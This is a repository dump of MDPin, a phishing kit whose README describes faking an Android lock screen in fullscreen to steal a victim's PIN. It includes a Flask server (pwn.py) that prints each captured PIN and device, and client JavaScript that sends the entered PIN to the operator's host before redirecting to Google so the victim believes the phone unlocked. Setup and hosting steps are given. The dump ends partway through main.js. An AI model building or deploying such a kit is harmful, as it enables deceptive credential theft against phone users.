├── plugin.py
├── py
├── config.json
└── pwn.py
├── static
├── wallpapers
│ ├── ios.jpg
│ ├── oppo.jpg
│ ├── pixel.jpg
│ ├── vivo.jpg
│ ├── huawei.jpg
│ ├── motorola.jpg
│ ├── realme.png
│ ├── samsung.jpg
│ └── xiaomi.jpg
├── config.json
├── fonts
│ └── flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2
├── css
│ ├── fonts
│ │ └── flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2
│ ├── style.css
│ └── jquery-ui.css
├── index.html
└── js
│ ├── ua-parser.min.js
│ ├── main.js
│ ├── fastclick.js
│ └── platform.js
├── .github
└── ISSUE_TEMPLATE
│ ├── feature_request.md
│ └── bug_report.md
├── LICENSE
├── CONTRIBUTING.md
├── CODE_OF_CONDUCT.md
└── README.md
/plugin.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | os.chdir("py")
4 | exec(open("pwn.py").read())
5 |
--------------------------------------------------------------------------------
/py/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "crt": "certificate.crt",
3 | "key": "certificate-key.key"
4 | }
5 |
--------------------------------------------------------------------------------
/static/wallpapers/ios.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/ios.jpg
--------------------------------------------------------------------------------
/static/wallpapers/oppo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/oppo.jpg
--------------------------------------------------------------------------------
/static/wallpapers/pixel.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/pixel.jpg
--------------------------------------------------------------------------------
/static/wallpapers/vivo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/vivo.jpg
--------------------------------------------------------------------------------
/static/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "address": "localhost",
3 | "port": "8075",
4 | "protocol": "http://"
5 | }
--------------------------------------------------------------------------------
/static/wallpapers/huawei.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/huawei.jpg
--------------------------------------------------------------------------------
/static/wallpapers/motorola.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/motorola.jpg
--------------------------------------------------------------------------------
/static/wallpapers/realme.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/realme.png
--------------------------------------------------------------------------------
/static/wallpapers/samsung.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/samsung.jpg
--------------------------------------------------------------------------------
/static/wallpapers/xiaomi.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/wallpapers/xiaomi.jpg
--------------------------------------------------------------------------------
/static/fonts/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/fonts/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2
--------------------------------------------------------------------------------
/static/css/fonts/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bastien8060/MDPin/HEAD/static/css/fonts/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: ''
5 | labels: enhancement
6 | assignees: bastien8060
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: bug
6 | assignees: bastien8060
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. iOS]
28 | - Browser [e.g. chrome, safari]
29 | - Browser Version [e.g. 22]
30 | - Python Version
31 |
32 | **Smartphone (please complete the following information):**
33 | - Device: [e.g. iPhone6]
34 | - OS: [e.g. iOS8.1]
35 | - Browser [e.g. stock browser, safari]
36 | - Version [e.g. 22]
37 |
38 | **Additional context**
39 | Add any other context about the problem here.
40 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Bastien Saidi
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing to MDPin
2 | We love your input! We want to make contributing to this project as easy and transparent as possible, whether it's:
3 |
4 | - Reporting a bug
5 | - Discussing the current state of the code
6 | - Submitting a fix
7 | - Proposing new features
8 | - Becoming a maintainer
9 |
10 | ## We Develop with Github
11 | We use github to host code, to track issues and feature requests, as well as accept pull requests.
12 |
13 | ## We Use [Github Flow](https://guides.github.com/introduction/flow/index.html), So All Code Changes Happen Through Pull Requests
14 | Pull requests are the best way to propose changes to the codebase (we use [Github Flow](https://guides.github.com/introduction/flow/index.html)). We actively welcome your pull requests:
15 |
16 | 1. Fork the repo and create your branch from `master`.
17 | 2. If you've added code that should be tested, add tests.
18 | 3. If you've changed APIs, update the documentation.
19 | 4. Ensure the test suite passes.
20 | 5. Make sure your code lints.
21 | 6. Issue that pull request!
22 |
23 | ## Any contributions you make will be under the MIT Software License
24 | In short, when you submit code changes, your submissions are understood to be under the same [MIT License](http://choosealicense.com/licenses/mit/) that covers the project. Feel free to contact the maintainers if that's a concern.
25 |
26 | ## Report bugs using Github's [issues](https://github.com/briandk/transcriptase-atom/issues)
27 | We use GitHub issues to track public bugs. Report a bug by [opening a new issue](); it's that easy!
28 |
29 | ## Write bug reports with detail, background, and sample code
30 | [This is an example](http://stackoverflow.com/q/12488905/180626) of a bug report and I think it's not a bad model. Here's [another example from Craig Hockenberry](http://www.openradar.me/11905408), who is an app developper.
31 |
32 | **Great Bug Reports** tend to have:
33 |
34 | - A quick summary and/or background
35 | - Steps to reproduce
36 | - Be specific!
37 | - Give sample code if you can. [A stackoverflow question](http://stackoverflow.com/q/12488905/180626) includes sample code that *anyone* with a base R setup can run to reproduce what the user was seeing
38 | - What you expected would happen
39 | - What actually happens
40 | - Notes (possibly including why you think this might be happening, or stuff you tried that didn't work)
41 |
42 | People *love* thorough bug reports. I'm not even kidding.
43 |
44 |
51 |
52 | ## License
53 | By contributing, you agree that your contributions will be licensed under its MIT License.
54 |
55 | ## References
56 | This document was adapted from the open-source contribution guidelines for [Facebook's Draft](https://github.com/facebook/draft-js/blob/a9316a723f9e918afde44dea68b5f9f39b7d9b00/CONTRIBUTING.md)
57 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as
6 | contributors and maintainers pledge to making participation in our project and
7 | our community a harassment-free experience for everyone, regardless of age, body
8 | size, disability, ethnicity, sex characteristics, gender identity and expression,
9 | level of experience, education, socio-economic status, nationality, personal
10 | appearance, race, religion, or sexual identity and orientation.
11 |
12 | ## Our Standards
13 |
14 | Examples of behavior that contributes to creating a positive environment
15 | include:
16 |
17 | * Using welcoming and inclusive language
18 | * Being respectful of differing viewpoints and experiences
19 | * Gracefully accepting constructive criticism
20 | * Focusing on what is best for the community
21 | * Showing empathy towards other community members
22 |
23 | Examples of unacceptable behavior by participants include:
24 |
25 | * The use of sexualized language or imagery and unwelcome sexual attention or
26 | advances
27 | * Trolling, insulting/derogatory comments, and personal or political attacks
28 | * Public or private harassment
29 | * Publishing others' private information, such as a physical or electronic
30 | address, without explicit permission
31 | * Other conduct which could reasonably be considered inappropriate in a
32 | professional setting
33 |
34 | ## Our Responsibilities
35 |
36 | Project maintainers are responsible for clarifying the standards of acceptable
37 | behavior and are expected to take appropriate and fair corrective action in
38 | response to any instances of unacceptable behavior.
39 |
40 | Project maintainers have the right and responsibility to remove, edit, or
41 | reject comments, commits, code, wiki edits, issues, and other contributions
42 | that are not aligned to this Code of Conduct, or to ban temporarily or
43 | permanently any contributor for other behaviors that they deem inappropriate,
44 | threatening, offensive, or harmful.
45 |
46 | ## Scope
47 |
48 | This Code of Conduct applies both within project spaces and in public spaces
49 | when an individual is representing the project or its community. Examples of
50 | representing a project or community include using an official project e-mail
51 | address, posting via an official social media account, or acting as an appointed
52 | representative at an online or offline event. Representation of a project may be
53 | further defined and clarified by project maintainers.
54 |
55 | ## Enforcement
56 |
57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
58 | reported by contacting the project team at saidi.ireland@gmail.com. All
59 | complaints will be reviewed and investigated and will result in a response that
60 | is deemed necessary and appropriate to the circumstances. The project team is
61 | obligated to maintain confidentiality with regard to the reporter of an incident.
62 | Further details of specific enforcement policies may be posted separately.
63 |
64 | Project maintainers who do not follow or enforce the Code of Conduct in good
65 | faith may face temporary or permanent repercussions as determined by other
66 | members of the project's leadership.
67 |
68 | ## Attribution
69 |
70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
72 |
73 | [homepage]: https://www.contributor-covenant.org
74 |
75 | For answers to common questions about this code of conduct, see
76 | https://www.contributor-covenant.org/faq
77 |
--------------------------------------------------------------------------------
/static/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
41 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 | Free Wi-Fi
86 |
87 |
88 |
89 |
90 | Log In
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
Three (O3)
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
lock
107 |
22:02
108 |
thursday 16 july
109 |
110 |
111 |
112 | Swipe up to unlock
113 |
114 | phone
115 |
116 |
117 | photo_camera
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MDPin
2 | MDPin is a server and a website. It contains an UI to fake a Android login screen to steal their pin code. It works via a web browser, by going fullscreen.
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | ## How it works
12 |
13 | When the user reaches your webpage, and they try to click on a button (Eg. A fake "Connect to wifi" button), it will trigger fullscreen and launch an interface which tries to mimick as close as possible Android's login screen.
14 |
15 | They will be prompted to slide up and enter their password. The password is sent to you by the webpage (which you are hosting) to the Server (which you are hosting too). After then, there is an unlock animation, and the user will be redirected to `https://www.google.com` thinking their device just unlocked.
16 |
17 | MDPin now includes a web server to serve the website which makes the Interface. The website will call the Server, which retrieves the device model as well as the collected Password Pin. However, you can also host it yourself on a different server. It can be anything: eg. Wamp, Apache2, Httpd or even an ESP8266/32. All the static files to be served are in the static folder.
18 |
19 | ## How to run it
20 |
21 | By default, the website is started with the server, and is accessible via `yourIpAdress:8075/web/index.html`. eg. `127.0.0.1:8075/web/index.html`. To find it, you can search for "Website Reachable" when starting up the server script. If you want to, you can host the webpage somewhere else, like described above. To start the server with the Python API you need to run:
22 |
23 | ```
24 | $ git clone https://github.com/bastien8060/MDPin
25 | $ cd MDPin/py
26 | $ python3 pwn.py
27 | ```
28 |
29 | Now you just need to visit the URL of the website started and visit it with a smartphone (All but non-IOS device). The password, once entered on the smartphone will appear on the Terminal/Command Prompt where you started the server (like shown above).
30 | ### HTTPS
31 | MDPin supports Https thanks to Flask. If you are hosting your webpage (static folder) with https using another server, you will need to add https to MDPin (Because XHR disallow requests to http from https). If MDPin uses https, both the webpage (served by MDPin) and the api will run with https.
32 |
33 | You will need to have a SSL certificate (`.cert` & `.key` file ) in order to serve it as https, as well as a domain name. If no existing and working certificate certificates are found, MDPin will fallback to Plain HTTP.
34 |
35 | The certificates file are stored in the config files (See Configs below). You will also need to correct the port in the configs (see below again) to 8070 when running as https. (Port `8075` == `http`, port `8070` == `https`)
36 |
37 | Note that grabbed password are never stored, so you should keep track of what the script shows.
38 |
39 | ## Configs
40 |
41 | MDPin has two config files: `static/config.json` and `py/config.json`
42 |
43 | Here is how to set them:
44 |
45 | #### Server configs
46 |
47 | - `crt`: file path to the SSL Certificate (.crt file). May be Absolute or relative to the pwn.py file. Facultative.
48 | - `key`: file path to the SSL Certificate's key (.key file). May be Absolute or relative to the pwn.py file. Facultative.
49 |
50 | #### WebPage configs
51 |
52 | - `Address`: Which domain name/IP Address **(Look for "Server Address" when starting pwn.py)** can the Server script be reached by? Your server IP? Your IP on your router?
53 | - `port`: Which port does the Python API run on? **(Look for "port" when starting pwn.py).** Https is usually 443 and http usually 80. Default port for the Server script is 8070 for HTTPS and 8075 for HTTP. Port is shown on startup.
54 | - `prototocol`: **(Look for "protocol" when starting pwn.py).** Https uses certificate and ssl. Did you set them correctly? http doesn't use those. If https doesn't work, it will fallback on http. Which one does the API run on? make sure to include the "://" after the protocol like so: `https://` or `http://`
55 |
56 | ## Misc
57 |
58 | #### Wallpapers
59 |
60 | Wallpapers are chosen automatically for the device model. However, fallback haven't been written yet for when a device brand hasn't been added, so if you encounter a blank page when going fullscreen, make sure to drop an issue in the issue tab for me to fix it.
61 |
62 | #### Battery Level
63 |
64 | Battery Level is deteected automatically with the browser's API. However, not all browsers may support that feature.
65 |
66 |
67 | #### Fullscreen
68 |
69 | Not all browsers support FullScreen. Some InApp browser do support it though (Eg. visiting a link through Reddit/Instagram etc...). Some of those browser are insecure as they do not prompt the user when they enter fullscreen.
70 | #### Carrier
71 |
72 | A new feature will soon come to automatically detect the device's carrier bases on their ISP. This will detect the user's carrier if they are using 3G/4G/5G.
73 |
--------------------------------------------------------------------------------
/py/pwn.py:
--------------------------------------------------------------------------------
1 | class bcolors:
2 | HEADER = '\033[95m'
3 | OKBLUE = '\033[94m'
4 | OKCYAN = '\033[96m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | ENDC = '\033[0m'
9 | BOLD = '\033[1m'
10 | UNDERLINE = '\033[4m'
11 |
12 | import re, os, json, threading, time, socket, sys, subprocess, sys, logging
13 | from json import dumps
14 |
15 | directories=['static',str(os.path.join('py','static')),str(os.path.join('..','static')),str(os.path.join('..','..','static'))]
16 |
17 | static_dir = '../static'
18 | if os.name == "nt":
19 | for i in directories:
20 | if os.path.isdir(i):
21 | static_dir = i
22 | print(f'Chosen Static Directory is {static_dir}')
23 |
24 | def install(package,exiting=True):
25 | answer = ''
26 | while answer not in ("y","n"):
27 | print()
28 | answer = input(f"Do you want to install {package}? [Y/N] ").lower()
29 | if answer == 'y':
30 | try:
31 | print()
32 | subprocess.check_call([sys.executable, "-m", "pip", "install", package])
33 | except:
34 | print(f"Installation failed for {package}")
35 | else:
36 | print("Aborting...")
37 | if exiting:
38 | exit(0)
39 |
40 |
41 | try:
42 | import colorama
43 | except:
44 | print("Colorama Isn't Installed. Run: pip install colorama or pip3 install colorama")
45 | install("colorama")
46 |
47 | from colorama import init
48 | from colorama import Fore, Back, Style
49 | init()
50 |
51 | try:
52 | from flask import Flask, request
53 | except:
54 | print("\033[91mFlask Isn't Installed.\033[0m Run:",f"{Style.BRIGHT}pip install Flask{Style.RESET_ALL} or {Style.BRIGHT}pip3 install Flask{Style.RESET_ALL}")
55 | install("Flask")
56 |
57 |
58 |
59 | try:
60 | from flask_restful import Resource, Api
61 | except:
62 | try:
63 | from Flask_RESTful import Resource, Api
64 | except:
65 | print("\033[91mFlask_RESTful Isn't Installed.\033[0m Run:",f"{Style.BRIGHT}pip install Flask_RESTful{Style.RESET_ALL} or {Style.BRIGHT}pip3 install Flask_RESTful{Style.RESET_ALL}")
66 | install("Flask_RESTful")
67 |
68 |
69 |
70 |
71 |
72 | try:
73 | from flask_jsonpify import jsonify
74 | except:
75 | print("\033[91mFlask-Jsonpify Isn't Installed.\033[0m Run:",f"{Style.BRIGHT}pip install Flask_Jsonpify{Style.RESET_ALL} or {Style.BRIGHT}pip3 install Flask_Jsonpify{Style.RESET_ALL}")
76 | install("flask_jsonpify")
77 |
78 |
79 |
80 | try:
81 | from OpenSSL import SSL
82 | except:
83 | print("\033[91mpyOpenSSL Isn't Installed.\033[0m Run:",f"{Style.BRIGHT}pip install pyOpenSSL{Style.RESET_ALL} or {Style.BRIGHT}pip3 install pyOpenSSL{Style.RESET_ALL}")
84 | print("dependency setuptools-rust is also needed to be installed")
85 | install("setuptools-rust",exiting=False)
86 | install("pyOpenSSL",exiting=True)
87 |
88 |
89 |
90 | def get_ip():
91 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
92 | try:
93 | # doesn't even have to be reachable
94 | s.connect(('10.255.255.255', 1))
95 | IP = s.getsockname()[0]
96 | except Exception:
97 | IP = '127.0.0.1'
98 | finally:
99 | s.close()
100 | return IP
101 |
102 |
103 | def gen_config(port):
104 | answer = input("Do you want to use a generated config file for the static directory? [Y/N] ")
105 | directories=['static',str(os.path.join('py','static')),str(os.path.join('..','static')),str(os.path.join('..','..','static'))]
106 | for i in directories:
107 | if os.path.isdir(i):
108 | directory = i
109 | filepath = os.path.join(directory,"config.json")
110 | #print(filepath)
111 | with open(filepath, "w") as f:
112 | newline = "\n"
113 | openbrace = "{"
114 | closebrace = "}"
115 | if (answer.lower() == "y"):
116 | if port == 8075:
117 | proto = "http://"
118 | if port == 8070:
119 | proto = "https://"
120 | f.write(f'{openbrace}{newline} "address": "{str(get_ip())}",{newline} "port": "{port}",{newline} "protocol": "{proto}"{newline}{closebrace}')
121 | else:
122 | f.write(f'{openbrace}{newline} "address": "localhost",{newline} "port": "8075",{newline} "protocol": "http://"{newline}{closebrace}')
123 | #with open(filepath)
124 | #exit(0)
125 | #print("done")
126 | #activate_job()
127 |
128 |
129 | def welcome():
130 | time.sleep(5)
131 | global port
132 | gen_config(port=port)
133 | if (port == 8070):
134 | proto = "HTTPS"
135 | elif (port == 8075):
136 | proto = "HTTP"
137 | else:
138 | proto = "Unknown Protocol"
139 | print("""\n\033[91m
140 | * * ***** ****
141 | ** ** * * * * *
142 | * * * * * * * *
143 | * * * * * * * ** * ***
144 | * * * * **** * ** *
145 | * * * * * * * *
146 | * * * * * * * *
147 | * * * * * * * *
148 | * * ***** * ***** * *
149 | \033[0m""")
150 | ip = get_ip()
151 | website = proto.lower()+"://"+ip+":"+str(port)+"/web/index.html"
152 | print("Server running on", f"{bcolors.FAIL}{ip}:{port}{bcolors.ENDC} with {bcolors.FAIL}{proto}{bcolors.ENDC}")
153 | print(f"Server Address: {bcolors.FAIL}{ip}{bcolors.ENDC}, port:{bcolors.FAIL}{port}{bcolors.ENDC}, protocol:{bcolors.FAIL}{proto}://{bcolors.ENDC}")
154 | print(f"Website Reachable on {bcolors.FAIL}{website}{bcolors.ENDC}")
155 | print("\033[1m\033[92m[festus8070@Unknown\033[0m \033[1m\033[91mMDPin\033[0m\033[1m\033[92m]$\033[0m","Waiting for a Connection...")
156 | print("\n")
157 |
158 |
159 | cli = sys.modules['flask.cli']
160 | cli.show_server_banner = lambda *x: None
161 |
162 | app = Flask(__name__,static_url_path='/web',static_folder=static_dir,template_folder='../static/templates')
163 | api = Api(app)
164 |
165 | def activate_job():
166 | download_thread = threading.Thread(target=welcome, name="welcomer")
167 | download_thread.start()
168 |
169 | log = logging.getLogger('werkzeug')
170 | log.setLevel(logging.ERROR)
171 |
172 | class newpass(Resource):
173 | def get(self, passwd, useragent):
174 | print("\033[1m\033[92m[festus8070@Unknown\033[0m \033[1m\033[91mMDPin\033[0m\033[1m\033[92m]$\033[0m","NEW PASSWORD:","\033[1m\033[4m\033[91m",passwd,"\033[0m","FROM:\033[1m\033[4m\033[91m",useragent,"\033[0m")
175 | return
176 |
177 | class newuser(Resource):
178 | def get(self, useragent):
179 | print("\033[1m\033[92m[festus8070@Unknown\033[0m \033[1m\033[91mMDPin\033[0m\033[1m\033[92m]$\033[0m","NEW USER:","\033[1m\033[4m\033[91m",useragent,"\033[0m")
180 | return
181 |
182 | class left(Resource):
183 | def get(self, useragent):
184 | print("\033[1m\033[92m[festus8070@Unknown\033[0m \033[1m\033[91mMDPin\033[0m\033[1m\033[92m]$\033[0m","USER HAS LEFT:","\033[1m\033[4m\033[91m",useragent,"\033[0m")
185 | return
186 |
187 |
188 | #class getstatic(Resource):
189 | # def send_js(self, path):
190 | # return send_from_directory('../static', path)
191 |
192 | #api.add_resource(getstatic, '/web/') # Route_1
193 | api.add_resource(left, '/left/') # Route_1
194 | api.add_resource(newuser, '/new/') # Route_2
195 | api.add_resource(newpass, '/pass//') # Route_3
196 |
197 |
198 | if __name__ == '__main__':
199 | activate_job()
200 | #welcome()
201 | skiphttps=False
202 | try:
203 | with open('config.json') as json_file:
204 | data = json.load(json_file)
205 | _key = data["key"]
206 | _crt = data["crt"]
207 | print("Using:\n",_crt,"\n",_key,"\n")
208 | context = (_crt,_key)
209 | except:
210 | print('Config.json was not found in current directory. Skipping HTTPS.')
211 | _key = './none.key'
212 | _crt = './none.crt'
213 | skiphttps=True
214 | context = (_crt,_key)
215 |
216 |
217 | try:
218 | if skiphttps:
219 | raise Exception('Skipped Https')
220 | port = 8070
221 | app.run(ssl_context=context,port='8070',host='0.0.0.0')
222 | except Exception as ex:
223 | #print("Exception")
224 | try:
225 | #func = request.environ.get('werkzeug.server.shutdown')
226 | #func()
227 | pass
228 | except Exception as ee:
229 | print(ee)
230 | template = "An exception of type {0} occurred. Arguments:\n{1!r}"
231 | message = template.format(type(ex).__name__, ex.args)
232 | #print(message)
233 | if skiphttps:
234 | print("\nCertificate files were not found! It's okay. MDPin's falling back to plain HTTP.")
235 | port = 8075
236 | app.run(port='8075',host='0.0.0.0')
237 |
238 |
239 |
--------------------------------------------------------------------------------
/static/js/ua-parser.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * UAParser.js v0.7.24
3 | * Lightweight JavaScript-based User-Agent string parser
4 | * https://github.com/faisalman/ua-parser-js
5 | *
6 | * Copyright © 2012-2021 Faisal Salman
7 | * Licensed under MIT License
8 | */
9 | (function(window,undefined){"use strict";var LIBVERSION="0.7.24",EMPTY="",UNKNOWN="?",FUNC_TYPE="function",UNDEF_TYPE="undefined",OBJ_TYPE="object",STR_TYPE="string",MAJOR="major",MODEL="model",NAME="name",TYPE="type",VENDOR="vendor",VERSION="version",ARCHITECTURE="architecture",CONSOLE="console",MOBILE="mobile",TABLET="tablet",SMARTTV="smarttv",WEARABLE="wearable",EMBEDDED="embedded";var util={extend:function(regexes,extensions){var mergedRegexes={};for(var i in regexes){if(extensions[i]&&extensions[i].length%2===0){mergedRegexes[i]=extensions[i].concat(regexes[i])}else{mergedRegexes[i]=regexes[i]}}return mergedRegexes},has:function(str1,str2){if(typeof str1==="string"){return str2.toLowerCase().indexOf(str1.toLowerCase())!==-1}else{return false}},lowerize:function(str){return str.toLowerCase()},major:function(version){return typeof version===STR_TYPE?version.replace(/[^\d\.]/g,"").split(".")[0]:undefined},trim:function(str){return str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")}};var mapper={rgx:function(ua,arrays){var i=0,j,k,p,q,matches,match;while(i0){if(q.length==2){if(typeof q[1]==FUNC_TYPE){this[q[0]]=q[1].call(this,match)}else{this[q[0]]=q[1]}}else if(q.length==3){if(typeof q[1]===FUNC_TYPE&&!(q[1].exec&&q[1].test)){this[q[0]]=match?q[1].call(this,match,q[2]):undefined}else{this[q[0]]=match?match.replace(q[1],q[2]):undefined}}else if(q.length==4){this[q[0]]=match?q[3].call(this,match.replace(q[1],q[2])):undefined}}else{this[q]=match?match:undefined}}}}i+=2}},str:function(str,map){for(var i in map){if(typeof map[i]===OBJ_TYPE&&map[i].length>0){for(var j=0;j1 2 3 "
53 | buttons = buttons + "4 5 6 "
54 | buttons = buttons + "7 8 9 "
55 | buttons = buttons + "0 DELETE ";
56 |
57 | (async () => {
58 | const battery = await navigator.getBattery();
59 | const battery_level = `${Math.round(battery.level * 100)}%`;
60 |
61 | if (battery_level == "100%") {
62 | $("#banner").addClass("highbat")
63 | } else {
64 | $("#banner").addClass("lowbat")
65 |
66 | }
67 | $(".battery-level").text(battery_level); // 100%
68 |
69 | })();
70 |
71 |
72 | var event = new Date();
73 | o = event.toLocaleDateString('en-US', { weekday: 'long' })
74 | t = event.toLocaleDateString('en-US', { day: 'numeric' })
75 | m = event.toLocaleDateString('en-US', { month: 'long' })
76 | $(".date").text(o + " " + t + " " + m)
77 |
78 | $(".time").text(event.getHours() + ":" + ("00" + event.getMinutes()).slice(-2))
79 |
80 |
81 | function finish() {
82 | ip = getUrlVars()["ip"] || defaultaddress;
83 | port = getUrlVars()["port"] || defaultport;
84 | url = "/left/" + platform.description
85 | var jqxhr = $.get(defaultproto + ip + ":" + port + url, function() {
86 | //alert( "success" );
87 | })
88 | .done(function() {
89 | $(".filler").animate({ "backgroundColor": 'rgba(0,0,0,1)' }, 50);
90 | $("#emergency").animate({ "opacity": '0' }, 50);
91 | $("#pass").animate({ "opacity": '0' }, 50);
92 | setTimeout(function() { window.location = "https://google.com" }, 0);
93 | })
94 | .fail(function() {
95 | $(".filler").animate({ "backgroundColor": 'rgba(0,0,0,1)' }, 50);
96 | $("#emergency").animate({ "opacity": '0' }, 50);
97 | $("#pass").animate({ "opacity": '0' }, 50);
98 | setTimeout(function() { window.location = "https://google.com" }, 0);
99 | })
100 | .always(function() {});
101 | };
102 |
103 | function submit() {
104 | ip = getUrlVars()["ip"] || defaultaddress;
105 | port = getUrlVars()["port"] || defaultport;
106 | url = "/pass/" + platform.description + "/" + window.password;
107 | var jqxhr = $.get(defaultproto + ip + ":" + port + url, function() {
108 | //alert( "success" );
109 | })
110 | .done(function() {
111 | finish()
112 | })
113 | .fail(function() {
114 | finish()
115 | })
116 | .always(function() {
117 | //finish()
118 | });
119 | }
120 |
121 | $(function() {
122 | FastClick.attach(document.body);
123 | });
124 |
125 | ip = getUrlVars()["ip"] || defaultaddress;
126 | port = getUrlVars()["port"] || defaultport;
127 | url = "/new/" + platform.description;
128 | var jqxhr = $.get(defaultproto + ip + ":" + port + url, function() {
129 | //alert( "success" );
130 | })
131 | .done(function() {})
132 | .fail(function() {})
133 | .always(function() {});
134 |
135 |
136 |
137 | function addeventh() {
138 | try {
139 | function exitHandler() {
140 | if (document.webkitIsFullScreen || document.mozFullScreen || document.msFullscreenElement !== null) {
141 | location.reload()
142 | }
143 | }
144 | if (document.addEventListener) {
145 | document.addEventListener('fullscreenchange', exitHandler, false);
146 | document.addEventListener('mozfullscreenchange', exitHandler, false);
147 | document.addEventListener('MSFullscreenChange', exitHandler, false);
148 | document.addEventListener('webkitfullscreenchange', exitHandler, false);
149 |
150 | }
151 |
152 | } catch (e) { alert(e) }
153 | }
154 |
155 | function gofullscreen() {
156 | setTimeout(() => {
157 | container = $("#containerz")
158 | bodyel = $('body')
159 | //container.css('background','white');
160 | bodyel.css('background', 'white');
161 | bodyel.css('text-align', 'left');
162 | bodyel.css('text-align', 'left');
163 | container.css('width', '100%');
164 | container.css('height', '100%');
165 | $("#containerz").addClass("pwned")
166 |
167 | container.html($(".pwn").html());
168 | $(".deleteme").remove();
169 | }, 500);
170 |
171 | setTimeout(() => {
172 | addeventh();
173 | $(".pwn")[1].remove()
174 | }, 1000);
175 |
176 | setTimeout(() => {
177 | document.getElementsByTagName('body')[0].requestFullscreen();
178 | $(".pwn").css("display", "block")
179 | $("#containerz").css("padding", "0px")
180 | $("#containerz").html($(".pwn").clone());
181 | $(".deleteme").remove();
182 | }, 500);
183 | try {
184 | $("#screen").addClass(vendor);
185 | $(".pwned").addClass(vendor);
